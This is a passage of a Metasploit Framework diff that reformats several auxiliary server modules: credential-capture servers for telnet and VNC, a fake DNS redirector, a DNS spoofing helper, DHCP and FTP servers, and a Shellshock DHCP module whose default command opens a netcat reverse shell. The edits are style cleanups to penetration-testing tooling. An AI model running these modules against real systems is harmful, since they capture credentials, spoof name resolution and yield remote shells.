&& (data[x + 2] == 0x01) reply[1] = "\xfb" - elsif data[x + 1] == 0xfb or data[x + 1] == 0xfc + elsif (data[x + 1] == 0xfb) || (data[x + 1] == 0xfc) reply[1] = "\xfe" - elsif data[x + 1] == 0xfd or data[x + 1] == 0xfe + elsif (data[x + 1] == 0xfd) || (data[x + 1] == 0xfe) reply[1] = "\xfc" end - c.put reply + client.put reply offset += 3 end end - if not @state[c][:started] - c.put "\r\n#{banner}\r\n\r\n" - @state[c][:started] = true + if !@state[client][:started] + client.put "\r\n#{banner}\r\n\r\n" + @state[client][:started] = true end - if @state[c][:user].nil? - c.put "Login: " - @state[c][:user] = "" + if @state[client][:user].nil? + client.put 'Login: ' + @state[client][:user] = '' return end @@ -103,34 +109,34 @@ def on_client_data(c) data = data[offset, data.size] - if not @state[c][:gotuser] - @state[c][:user] = data.strip - @state[c][:gotuser] = true - c.put "\xff\xfc\x01" # WON'T ECHO + if !@state[client][:gotuser] + @state[client][:user] = data.strip + @state[client][:gotuser] = true + client.put "\xff\xfc\x01" # WON'T ECHO end - if @state[c][:pass].nil? - c.put "Password: " - @state[c][:pass] = "" + if @state[client][:pass].nil? + client.put 'Password: ' + @state[client][:pass] = '' return end - if not @state[c][:gotpass] - @state[c][:pass] = data.strip - @state[c][:gotpass] = true - c.put "\x00\r\n" + if !@state[client][:gotpass] + @state[client][:pass] = data.strip + @state[client][:gotpass] = true + client.put "\x00\r\n" end - print_good("TELNET LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") - c.put "\r\nLogin failed\r\n\r\n" + print_good("TELNET LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}") + client.put "\r\nLogin failed\r\n\r\n" report_cred( - ip: @state[c][:ip], + ip: @state[client][:ip], port: datastore['SRVPORT'], service_name: 'telnet', - user: @state[c][:user], - password: @state[c][:pass] + user: @state[client][:user], + password: @state[client][:pass] ) - c.close + client.close end def report_cred(opts) @@ -152,13 +158,13 @@ def report_cred(opts) login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED, + status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) create_credential_login(login_data) end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end end diff --git a/modules/auxiliary/server/capture/vnc.rb b/modules/auxiliary/server/capture/vnc.rb index 6461130036947..68fce03ded6ce 100644 --- a/modules/auxiliary/server/capture/vnc.rb +++ b/modules/auxiliary/server/capture/vnc.rb @@ -7,7 +7,6 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( 'Name' => 'Authentication Capture: VNC', @@ -19,7 +18,12 @@ def initialize 'License' => MSF_LICENSE, 'Actions' => [[ 'Capture', { 'Description' => 'Run VNC capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( @@ -44,17 +48,17 @@ def run exploit end - def on_client_connect(c) - @state[c] = { - name: "#{c.peerhost}:#{c.peerport}", - ip: c.peerhost, - port: c.peerport, + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, pass: nil, chall: nil, proto: nil } - c.put "RFB 003.007\n" + client.put "RFB 003.007\n" end def report_cred(opts) @@ -84,38 +88,38 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_data(c) - data = c.get_once + def on_client_data(client) + data = client.get_once return if !data - peer = "#{c.peerhost}:#{c.peerport}" + peer = "#{client.peerhost}:#{client.peerport}" if data =~ /^RFB (.*)\n$/ - @state[c][:proto] = Regexp.last_match(1) - if @state[c][:proto] == '003.007' + @state[client][:proto] = Regexp.last_match(1) + if @state[client][:proto] == '003.007' # for the 003.007 protocol we say we support the VNC sectype # and wait for the server to acknowledge it, before we send the # challenge. - c.put [0x0102].pack('n') # 1 sectype, unencrypted - elsif @state[c][:proto] == '003.003' + client.put [0x0102].pack('n') # 1 sectype, unencrypted + elsif @state[client][:proto] == '003.003' # for the 003.003 protocol we say we support the VNC sectype # and immediately send the challenge sectype = [0x00000002].pack('N') - c.put sectype + client.put sectype - @state[c][:chall] = @challenge - c.put @state[c][:chall] + @state[client][:chall] = @challenge + client.put @state[client][:chall] else - c.close + client.close end # the challenge was sent, so this should be our response - elsif @state[c][:chall] - c.put [0x00000001].pack('N') - c.close + elsif @state[client][:chall] + client.put [0x00000001].pack('N') + client.close print_good("#{peer} - Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}") - hash_line = "*#{@state[c][:chall].unpack('H*')[0]}*#{data.unpack('H*')[0]}" + hash_line = "*#{@state[client][:chall].unpack('H*')[0]}*#{data.unpack('H*')[0]}" report_cred( - ip: c.peerhost, + ip: client.peerhost, port: datastore['SRVPORT'], service_name: 'vnc_client', user: '', @@ -124,18 +128,18 @@ def on_client_data(c) ) # we have got the protocol sorted out and have offered the VNC sectype (2) - elsif @state[c][:proto] == '003.007' + elsif @state[client][:proto] == '003.007' if (data.unpack('C')[0] != 2) print_error("#{peer} - sectype not offered! #{data.unpack('H*')}") - c.close + client.close return end - @state[c][:chall] = @challenge - c.put @state[c][:chall] + @state[client][:chall] = @challenge + client.put @state[client][:chall] end end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end end diff --git a/modules/auxiliary/server/dhclient_bash_env.rb b/modules/auxiliary/server/dhclient_bash_env.rb index 7a081f7e5a957..4af37e350bb51 100644 --- a/modules/auxiliary/server/dhclient_bash_env.rb +++ b/modules/auxiliary/server/dhclient_bash_env.rb @@ -3,36 +3,32 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DHCPServer def initialize super( - 'Name' => 'DHCP Client Bash Environment Variable Code Injection (Shellshock)', - 'Description' => %q{ + 'Name' => 'DHCP Client Bash Environment Variable Code Injection (Shellshock)', + 'Description' => %q{ This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets dhclient by responding to DHCP requests with a malicious hostname, domainname, and URL which are then passed to the configuration scripts as environment variables, resulting in code execution. }, - 'Author' => - [ - 'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module - 'Stephane Chazelas', # Vulnerability discovery - 'Ramon de C Valle' # This module - ], + 'Author' => [ + 'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module + 'Stephane Chazelas', # Vulnerability discovery + 'Ramon de C Valle' # This module + ], 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Run malicious DHCP server' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service', + 'Actions' => [ + [ 'Service', 'Description' => 'Run malicious DHCP server' ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service', 'References' => [ [ 'CVE', '2014-6271' ], [ 'CWE', '94' ], @@ -43,16 +39,16 @@ def initialize [ 'URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/' ] ], 'DisclosureDate' => 'Sep 24 2014', - 'Notes' => - { - 'AKA' => ['Shellshock'] - } + 'Notes' => { + 'AKA' => ['Shellshock'] + } ) register_options( [ OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444']) - ]) + ] + ) deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') end @@ -74,10 +70,8 @@ def run while @dhcp.thread.alive? select(nil, nil, nil, 2) end - rescue Interrupt break - ensure stop_service end diff --git a/modules/auxiliary/server/dhcp.rb b/modules/auxiliary/server/dhcp.rb index ab4343a308ecb..75a6d36c7b111 100644 --- a/modules/auxiliary/server/dhcp.rb +++ b/modules/auxiliary/server/dhcp.rb @@ -3,30 +3,26 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DHCPServer include Msf::Auxiliary::Report def initialize super( - 'Name' => 'DHCP Server', - 'Description' => %q{ + 'Name' => 'DHCP Server', + 'Description' => %q{ This module provides a DHCP service }, - 'Author' => [ 'scriptjunkie', 'apconole@yahoo.com' ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Run DHCP server' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service' + 'Author' => [ 'scriptjunkie', 'apconole@yahoo.com' ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Service', 'Description' => 'Run DHCP server' ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service' ) - end def run diff --git a/modules/auxiliary/server/dns/native_server.rb b/modules/auxiliary/server/dns/native_server.rb index fad23651e8b91..75bfd42d6858d 100644 --- a/modules/auxiliary/server/dns/native_server.rb +++ b/modules/auxiliary/server/dns/native_server.rb @@ -3,81 +3,88 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DNS::Client include Msf::Exploit::Remote::DNS::Server def initialize(info = {}) - super(update_info(info, - 'Name' => 'Native DNS Server (Example)', - 'Description' => %q{ - This module provides a Rex based DNS service which can store static entries, - resolve names over pivots, and serve DNS requests across routed session comms. - DNS tunnels can operate across the Rex switchboard, and DNS other modules - can use this as a template. Setting static records via hostfile allows for DNS - spoofing attacks without direct traffic manipulation at the handlers. handlers - for requests and responses provided here mimic the internal Rex functionality, - but utilize methods within this module's namespace to output content processed - in the Proc contexts via vprint_status. - }, - 'Author' => 'RageLtMan ', - 'License' => MSF_LICENSE, - 'References' => [], - 'Actions' => - [ - [ 'Service', 'Description' => 'Run DNS service' ] + super( + update_info( + info, + 'Name' => 'Native DNS Server (Example)', + 'Description' => %q{ + This module provides a Rex based DNS service which can store static entries, + resolve names over pivots, and serve DNS requests across routed session comms. + DNS tunnels can operate across the Rex switchboard, and DNS other modules + can use this as a template. Setting static records via hostfile allows for DNS + spoofing attacks without direct traffic manipulation at the handlers. handlers + for requests and responses provided here mimic the internal Rex functionality, + but utilize methods within this module's namespace to output content processed + in the Proc contexts via vprint_status. + }, + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'References' => [], + 'Actions' => [ + [ 'Service', { 'Description' => 'Run DNS service' } ] ], - 'PassiveActions' => - [ + 'PassiveActions' => [ 'Service' ], - 'DefaultAction' => 'Service' - )) + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end # # Wrapper for service execution and cleanup # def run - begin - start_service - service.wait - rescue Rex::BindFailed => e - print_error "Failed to bind to port #{datastore['RPORT']}: #{e.message}" - end + start_service + service.wait + rescue Rex::BindFailed => e + print_error "Failed to bind to port #{datastore['RPORT']}: #{e.message}" end # # Creates Proc to handle incoming requests # - def on_dispatch_request(cli,data) + def on_dispatch_request(cli, data) return if data.strip.empty? + req = Packet.encode_drb(data) peer = "#{cli.peerhost}:#{cli.peerport}" asked = req.question.map(&:qname).map(&:to_s).join(', ') vprint_status("Received request for #{asked} from #{peer}") answered = [] + # Find cached items, remove request from forwarded packet - req.question.each do |ques| - cached = service.cache.find(ques.qname, ques.qtype.to_s) - if cached.empty? - next - else + unless service.cache.nil? + req.question.each do |ques| + cached = service.cache.find(ques.qname, ques.qtype.to_s) + next if cached.empty? + req.instance_variable_set(:@answer, (req.answer + cached).uniq) answered << ques - cached.map do |hit| + + cached.each do |hit| if hit.respond_to?(:address) - hit.name.to_s + ':' + hit.address.to_s + ' ' + hit.type.to_s + vprint_status("Cache hit for #{hit.name}:#{hit.address} #{hit.type}") else - hit.name.to_s + ' ' + hit.type.to_s + vprint_status("Cache hit for #{hit.name} #{hit.type}") end - end.each {|h| vprint_status("Cache hit for #{h}")} + end end - end unless service.cache.nil? + end + # Forward remaining requests, cache responses - if answered.count < req.question.count and service.fwd_res + if (answered.count < req.question.count) && service.fwd_res if !req.header.rd vprint_status("Recursion forbidden in query for #{req.question.first.name} from #{peer}") else @@ -85,29 +92,30 @@ def on_dispatch_request(cli,data) # forward.question = req.question - answered forward.instance_variable_set(:@question, req.question - answered) forwarded = service.fwd_res.send(Packet.validate(forward)) - forwarded.answer.each do |ans| - rstring = ans.respond_to?(:address) ? "#{ans.name}:#{ans.address}" : ans.name - vprint_status("Caching response #{rstring} #{ans.type}") - service.cache.cache_record(ans) - end unless service.cache.nil? + unless service.cache.nil? + forwarded.answer.each do |ans| + rstring = ans.respond_to?(:address) ? "#{ans.name}:#{ans.address}" : ans.name + vprint_status("Caching response #{rstring} #{ans.type}") + service.cache.cache_record(ans) + end + end # Merge the answers and use the upstream response forward.instance_variable_set(:@answer, (req.answer + forwarded.answer).uniq) req = forwarded end end + service.send_response(cli, Packet.validate(Packet.generate_response(req)).encode) end # # Creates Proc to handle outbound responses # - def on_send_response(cli,data) + def on_send_response(cli, data) res = Packet.encode_drb(data) peer = "#{cli.peerhost}:#{cli.peerport}" asked = res.question.map(&:qname).map(&:to_s).join(', ') vprint_status("Sending response for #{asked} to #{peer}") cli.write(data) end - - end diff --git a/modules/auxiliary/server/dns/spoofhelper.rb b/modules/auxiliary/server/dns/spoofhelper.rb index 1e728a75e2e9b..01865f977395a 100644 --- a/modules/auxiliary/server/dns/spoofhelper.rb +++ b/modules/auxiliary/server/dns/spoofhelper.rb @@ -8,41 +8,42 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report - def initialize super( - 'Name' => 'DNS Spoofing Helper Service', - 'Description' => %q{ + 'Name' => 'DNS Spoofing Helper Service', + 'Description' => %q{ This module provides a DNS service that returns TXT - records indicating information about the querying service. - Based on Dino Dai Zovi DNS code from Karma. - + records indicating information about the querying service. + Based on Dino Dai Zovi DNS code from Karma. }, - 'Author' => ['hdm', 'ddz'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Run DNS spoofing server' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service' + 'Author' => ['hdm', 'ddz'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Service', { 'Description' => 'Run DNS spoofing server' } ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 53 ]), - ]) + OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 53 ]), + ] + ) end - def run @targ = datastore['TARGETHOST'] - if(@targ and @targ.strip.length == 0) + if @targ && @targ.strip.empty? @targ = nil end @@ -51,51 +52,46 @@ def run # MacOS X workaround ::Socket.do_not_reverse_lookup = true - @sock = ::UDPSocket.new() + @sock = ::UDPSocket.new @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) @sock.bind(datastore['SRVHOST'], @port) @run = true - # Wrap in exception handler - begin - while @run - reply = false - packet, addr = @sock.recvfrom(65535) - if (packet.length == 0) - break - end + while @run + packet, addr = @sock.recvfrom(65535) + + break if packet.empty? - names = [] - request = Resolv::DNS::Message.decode(packet) - - request.each_question {|name, typeclass| - tc_s = typeclass.to_s().gsub(/^Resolv::DNS::Resource::/, "") - - request.qr = 1 - request.ra = 1 - - names << "IN #{tc_s} #{name}" - case tc_s - when 'IN::TXT' - print_status("#{Time.now} PASSED #{addr[3]}:#{addr[1]} XID #{request.id} #{name}") - answer = Resolv::DNS::Resource::IN::TXT.new("#{addr[3]}:#{addr[1]} #{names.join(",")}") - request.add_answer(name, 1, answer) - reply = true - end - } - - if(reply) - @sock.send(request.encode(), 0, addr[3], addr[1]) - else - print_status("#{Time.now} IGNORE #{addr[3]}:#{addr[1]} XID #{request.id} #{names.join(",")}") + reply = false + names = [] + request = Resolv::DNS::Message.decode(packet) + + request.each_question do |name, typeclass| + tc_s = typeclass.to_s.gsub(/^Resolv::DNS::Resource::/, '') + + request.qr = 1 + request.ra = 1 + + names << "IN #{tc_s} #{name}" + case tc_s + when 'IN::TXT' + print_status("#{Time.now} PASSED #{addr[3]}:#{addr[1]} XID #{request.id} #{name}") + answer = Resolv::DNS::Resource::IN::TXT.new("#{addr[3]}:#{addr[1]} #{names.join(',')}") + request.add_answer(name, 1, answer) + reply = true end end - # Make sure the socket gets closed on exit - rescue ::Exception => e - print_error("spoofhelper: #{e.class} #{e} #{e.backtrace}") - ensure - @sock.close + if reply + @sock.send(request.encode, 0, addr[3], addr[1]) + else + print_status("#{Time.now} IGNORE #{addr[3]}:#{addr[1]} XID #{request.id} #{names.join(',')}") + end end + rescue StandardError => e + print_error("spoofhelper: #{e.class} #{e} #{e.backtrace}") + ensure + # Make sure the socket gets closed on exit + @sock.close end end diff --git a/modules/auxiliary/server/fakedns.rb b/modules/auxiliary/server/fakedns.rb index b6fc559337e3f..d2d4e759a34e0 100644 --- a/modules/auxiliary/server/fakedns.rb +++ b/modules/auxiliary/server/fakedns.rb @@ -8,45 +8,43 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report - def initialize super( - 'Name' => 'Fake DNS Service', - 'Description' => %q{ + 'Name' => 'Fake DNS Service', + 'Description' => %q{ This module provides a DNS service that redirects all queries to a particular address. }, - 'Author' => ['ddz', 'hdm', 'fozavci'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Run DNS server' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service' + 'Author' => ['ddz', 'hdm', 'fozavci'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Service', 'Description' => 'Run DNS server' ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service' ) register_options( [ - OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 53 ]), + OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 53 ]), OptAddress.new('TARGETHOST', [ false, "The address that all names should resolve to", nil ]), OptString.new('TARGETDOMAIN', [ true, "The list of target domain names we want to fully resolve (BYPASS) or fake resolve (FAKE). Use '*' for wildcard.", 'www.google.com']), OptEnum.new('TARGETACTION', [ true, "Action for TARGETDOMAIN", "BYPASS", %w{FAKE BYPASS}]), - ]) + ] + ) register_advanced_options( [ OptPort.new('RR_SRV_PORT', [ false, "The port field in the SRV response when FAKE", 5060]), OptBool.new('LogConsole', [ false, "Determines whether to log all request to the console", true]), OptBool.new('LogDatabase', [ false, "Determines whether to log all request to the database", false]), - ]) + ] + ) end - def target_host(addr = nil) target = datastore['TARGETHOST'] if target.blank? @@ -63,7 +61,7 @@ def target_host(addr = nil) def run @port = datastore['SRVPORT'].to_i - @log_console = false + @log_console = false @log_database = false if datastore['LogConsole'] @@ -83,187 +81,186 @@ def run @sock.bind(datastore['SRVHOST'], @port) @run = true @domain_target_list = datastore['TARGETDOMAIN'].split - @bypass = ( datastore['TARGETACTION'].upcase == "BYPASS" ) + @bypass = (datastore['TARGETACTION'].upcase == "BYPASS") print_status("DNS server started") begin - - while @run - @error_resolving = false - packet, addr = @sock.recvfrom(65535) - src_addr = addr[3] - @requestor = addr - next if packet.length == 0 - - request = Resolv::DNS::Message.decode(packet) - next unless request.qr == 0 - - # - # XXX: Track request IDs by requesting IP address and port - # - # Windows XP SP1a: UDP source port constant, - # sequential IDs since boot time - # Windows XP SP2: Randomized IDs - # - # Debian 3.1: Static source port (32906) until timeout, - # randomized IDs - # - - lst = [] - - request.each_question {|name, typeclass| - # Identify potential domain exceptions - @match_target = false - @match_name = name.to_s - @domain_target_list.each do |ex| - escaped = Regexp.escape(ex).gsub('\*','.*?') - regex = Regexp.new "^#{escaped}$", Regexp::IGNORECASE - if ( name.to_s =~ regex ) - @match_target = true - @match_name = ex + while @run + @error_resolving = false + packet, addr = @sock.recvfrom(65535) + src_addr = addr[3] + @requestor = addr + next if packet.length == 0 + + request = Resolv::DNS::Message.decode(packet) + next unless request.qr == 0 + + # + # XXX: Track request IDs by requesting IP address and port + # + # Windows XP SP1a: UDP source port constant, + # sequential IDs since boot time + # Windows XP SP2: Randomized IDs + # + # Debian 3.1: Static source port (32906) until timeout, + # randomized IDs + # + + lst = [] + + request.each_question { |name, typeclass| + # Identify potential domain exceptions + @match_target = false + @match_name = name.to_s + @domain_target_list.each do |ex| + escaped = Regexp.escape(ex).gsub('\*', '.*?') + regex = Regexp.new "^#{escaped}$", Regexp::IGNORECASE + if (name.to_s =~ regex) + @match_target = true + @match_name = ex + end end - end - tc_s = typeclass.to_s().gsub(/^Resolv::DNS::Resource::/, "") - - request.qr = 1 - request.ra = 1 - - lst << "#{tc_s} #{name}" - case tc_s - when 'IN::A' - - # Special fingerprinting name lookups: - # - # _isatap -> XP SP = 0 - # isatap.localdomain -> XP SP >= 1 - # teredo.ipv6.microsoft.com -> XP SP >= 2 - # - # time.windows.com -> windows ??? - # wpad.localdomain -> windows ??? - # - # SOA -> windows XP self hostname lookup - # - - answer = Resolv::DNS::Resource::IN::A.new(target_host(src_addr)) - - if (@match_target and not @bypass) or (not @match_target and @bypass) - # Resolve FAKE response - if (@log_console) - print_status("DNS target domain #{@match_name} found; Returning fake A records for #{name}") - end - else - # Resolve the exception domain - begin - ip = Resolv::DNS.new().getaddress(name).to_s - answer = Resolv::DNS::Resource::IN::A.new( ip ) - rescue ::Exception => e - @error_resolving = true - next + tc_s = typeclass.to_s().gsub(/^Resolv::DNS::Resource::/, "") + + request.qr = 1 + request.ra = 1 + + lst << "#{tc_s} #{name}" + case tc_s + when 'IN::A' + + # Special fingerprinting name lookups: + # + # _isatap -> XP SP = 0 + # isatap.localdomain -> XP SP >= 1 + # teredo.ipv6.microsoft.com -> XP SP >= 2 + # + # time.windows.com -> windows ??? + # wpad.localdomain -> windows ??? + # + # SOA -> windows XP self hostname lookup + # + + answer = Resolv::DNS::Resource::IN::A.new(target_host(src_addr)) + + if (@match_target and not @bypass) or (not @match_target and @bypass) + # Resolve FAKE response + if (@log_console) + print_status("DNS target domain #{@match_name} found; Returning fake A records for #{name}") + end + else + # Resolve the exception domain + begin + ip = Resolv::DNS.new().getaddress(name).to_s + answer = Resolv::DNS::Resource::IN::A.new(ip) + rescue ::Exception => e + @error_resolving = true + next + end + if (@log_console) + print_status("DNS bypass domain #{@match_name} found; Returning real A records for #{name}") + end end - if (@log_console) - print_status("DNS bypass domain #{@match_name} found; Returning real A records for #{name}") + + request.add_answer(name, 60, answer) + + when 'IN::MX' + mx = Resolv::DNS::Resource::IN::MX.new(10, Resolv::DNS::Name.create("mail.#{name}")) + ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}")) + ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr)) + request.add_answer(name, 60, mx) + request.add_authority(name, 60, ns) + request.add_additional(Resolv::DNS::Name.create("mail.#{name}"), 60, ar) + + when 'IN::NS' + ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}")) + ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr)) + request.add_answer(name, 60, ns) + request.add_additional(name, 60, ar) + + when 'IN::SRV' + if @bypass || !@match_target + if @log_console + print_status("DNS bypass domain #{@match_name} found; Returning real SRV records for #{name}") + end + # if we are in bypass mode or we are in fake mode but the target didn't match, + # just return the real response RRs + resources = Resolv::DNS.new().getresources(Resolv::DNS::Name.create(name), Resolv::DNS::Resource::IN::SRV) + if resources.empty? + @error_resolving = true + print_error("Unable to resolve SRV record for #{name} -- skipping") + next + end + resources.each do |resource| + host = resource.target + port = resource.port.to_i + weight = resource.weight.to_i + priority = resource.priority.to_i + ttl = resource.ttl.to_i + request.add_answer( + name, + ttl, + Resolv::DNS::Resource::IN::SRV.new(priority, weight, port, Resolv::DNS::Name.create(host)) + ) + end + else + if @log_console + print_status("DNS target domain #{@match_name} found; Returning fake SRV records for #{name}") + # Prepare the FAKE response + request.add_answer( + name, + 10, + Resolv::DNS::Resource::IN::SRV.new(5, 0, datastore['RR_SRV_PORT'], Resolv::DNS::Name.create(name)) + ) + request.add_additional(Resolv::DNS::Name.create(name), 60, Resolv::DNS::Resource::IN::A.new(target_host(src_addr))) + end end + when 'IN::PTR' + soa = Resolv::DNS::Resource::IN::SOA.new( + Resolv::DNS::Name.create("ns.internet.com"), + Resolv::DNS::Name.create("root.internet.com"), + 1, + 3600, + 3600, + 3600, + 3600 + ) + ans = Resolv::DNS::Resource::IN::PTR.new( + Resolv::DNS::Name.create("www") + ) + + request.add_answer(name, 60, ans) + request.add_authority(name, 60, soa) + else + lst << "UNKNOWN #{tc_s}" end + } - - request.add_answer(name, 60, answer) - - when 'IN::MX' - mx = Resolv::DNS::Resource::IN::MX.new(10, Resolv::DNS::Name.create("mail.#{name}")) - ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}")) - ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr)) - request.add_answer(name, 60, mx) - request.add_authority(name, 60, ns) - request.add_additional(Resolv::DNS::Name.create("mail.#{name}"), 60, ar) - - when 'IN::NS' - ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}")) - ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr)) - request.add_answer(name, 60, ns) - request.add_additional(name, 60, ar) - - when 'IN::SRV' - if @bypass || !@match_target - if @log_console - print_status("DNS bypass domain #{@match_name} found; Returning real SRV records for #{name}") - end - # if we are in bypass mode or we are in fake mode but the target didn't match, - # just return the real response RRs - resources = Resolv::DNS.new().getresources(Resolv::DNS::Name.create(name), Resolv::DNS::Resource::IN::SRV) - if resources.empty? - @error_resolving = true - print_error("Unable to resolve SRV record for #{name} -- skipping") - next - end - resources.each do |resource| - host = resource.target - port = resource.port.to_i - weight = resource.weight.to_i - priority = resource.priority.to_i - ttl = resource.ttl.to_i - request.add_answer( - name, - ttl, - Resolv::DNS::Resource::IN::SRV.new(priority, weight, port, Resolv::DNS::Name.create(host)) - ) - end + if (@log_console) + if (@error_resolving) + print_error("XID #{request.id} (#{lst.join(", ")}) - Error resolving") else - if @log_console - print_status("DNS target domain #{@match_name} found; Returning fake SRV records for #{name}") - # Prepare the FAKE response - request.add_answer( - name, - 10, - Resolv::DNS::Resource::IN::SRV.new(5, 0, datastore['RR_SRV_PORT'], Resolv::DNS::Name.create(name)) - ) - request.add_additional(Resolv::DNS::Name.create(name), 60, Resolv::DNS::Resource::IN::A.new(target_host(src_addr))) - end + print_status("XID #{request.id} (#{lst.join(", ")})") end - when 'IN::PTR' - soa = Resolv::DNS::Resource::IN::SOA.new( - Resolv::DNS::Name.create("ns.internet.com"), - Resolv::DNS::Name.create("root.internet.com"), - 1, - 3600, - 3600, - 3600, - 3600 - ) - ans = Resolv::DNS::Resource::IN::PTR.new( - Resolv::DNS::Name.create("www") - ) - - request.add_answer(name, 60, ans) - request.add_authority(name, 60, soa) - else - lst << "UNKNOWN #{tc_s}" end - } - if(@log_console) - if(@error_resolving) - print_error("XID #{request.id} (#{lst.join(", ")}) - Error resolving") - else - print_status("XID #{request.id} (#{lst.join(", ")})") + if (@log_database) + report_note( + :host => addr[3], + :type => "dns_lookup", + :data => { + :host => "#{addr[3]}:#{addr[1]}", + :xid => "#{request.id} (#{lst.join(", ")})" + } + ) if lst.length > 0 end - end - if(@log_database) - report_note( - :host => addr[3], - :type => "dns_lookup", - :data => "#{addr[3]}:#{addr[1]} XID #{request.id} (#{lst.join(", ")})" - ) if lst.length > 0 + @sock.send(request.encode(), 0, addr[3], addr[1]) end - - - @sock.send(request.encode(), 0, addr[3], addr[1]) - end - rescue ::Exception => e print_error("fakedns: #{e.class} #{e} #{e.backtrace}") - # Make sure the socket gets closed on exit + # Make sure the socket gets closed on exit ensure @sock.close end diff --git a/modules/auxiliary/server/ftp.rb b/modules/auxiliary/server/ftp.rb index c9ef7e148c911..c765dd91d55d0 100644 --- a/modules/auxiliary/server/ftp.rb +++ b/modules/auxiliary/server/ftp.rb @@ -9,38 +9,37 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'FTP File Server', - 'Description' => %q{ + 'Name' => 'FTP File Server', + 'Description' => %q{ This module provides a FTP service }, - 'Author' => ['hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Serve files via FTP' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service' + 'Author' => ['hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Service', 'Description' => 'Serve files via FTP' ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service' ) register_options( [ - OptString.new('FTPROOT', [ true, "The FTP root directory to serve files from", '/tmp/ftproot' ]), - OptString.new('FTPUSER', [ false, "Configure a specific username that should be allowed access"], fallbacks: ['USERNAME']), - OptString.new('FTPPASS', [ false, "Configure a specific password that should be allowed access"], fallbacks: ['PASSWORD']), - ]) + OptString.new('FTPROOT', [ true, "The FTP root directory to serve files from", '/tmp/ftproot' ]), + OptString.new('FTPUSER', [ false, "Configure a specific username that should be allowed access"], fallbacks: ['USERNAME']), + OptString.new('FTPPASS', [ false, "Configure a 